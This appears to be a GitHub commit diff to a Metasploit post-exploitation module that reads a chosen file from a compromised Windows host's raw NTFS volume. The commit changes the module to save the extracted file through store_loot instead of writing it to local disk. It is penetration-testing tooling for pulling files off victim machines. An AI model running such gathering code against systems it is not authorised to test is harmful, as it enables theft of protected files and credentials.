Skip to content

Commit 5d4a8e2

Browse files
committed
using store_loot
1 parent d6fb445 commit 5d4a8e2

File tree

1 file changed

+3
-6
lines changed

1 file changed

+3
-6
lines changed

modules/post/windows/gather/file_in_raw_ntfs.rb

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -54,16 +54,13 @@ def run
5454
end
5555
@handle = r['return']
5656
print_status("Successfuly opened #{drive}")
57-
5857
begin
5958
fs = Rex::Parser::NTFS.new(self)
60-
59+
print_status("Trying gather #{file}")
6160
data = fs.file(file[3, file.length - 3])
6261
file_name = file.split("\\")[-1]
63-
print_status("Saving file #{file_name}")
64-
file_result = ::File.new(file_name, "w")
65-
file_result.syswrite(data)
66-
file_result.close
62+
stored_path = store_loot("windows.file", 'application/octet-stream', session, data, file_name, "Windows file")
63+
print_status("Saving file : #{stored_path}")
6764
rescue ::Exception => e
6865
print_error("Post failed : #{e.backtrace}")
6966
ensure

0 commit comments

Comments
 (0)